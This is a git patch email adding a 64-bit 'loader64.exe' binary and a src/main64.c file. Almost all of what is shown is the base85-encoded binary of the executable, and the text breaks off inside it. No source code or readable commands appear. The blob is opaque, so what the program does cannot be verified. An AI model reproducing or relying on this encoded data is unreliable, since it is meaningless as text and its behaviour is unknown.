From f1c6d4f9343ae0b1f1fc18cd67d4c1882f2b211b Mon Sep 17 00:00:00 2001 From: root Date: Wed, 13 Feb 2013 02:53:11 +0200 Subject: [PATCH 1/2] 64Bit version added and also executable included --- loader64.exe | Bin 0 -> 120817 bytes src/main64.c | 277 +++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 277 insertions(+) create mode 100644 loader64.exe create mode 100644 src/main64.c diff --git a/loader64.exe b/loader64.exe new file mode 100644 index 0000000000000000000000000000000000000000..2d8fd7cc60904308902ca8b7f343c15ad2d663a9 GIT binary patch literal 120817 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 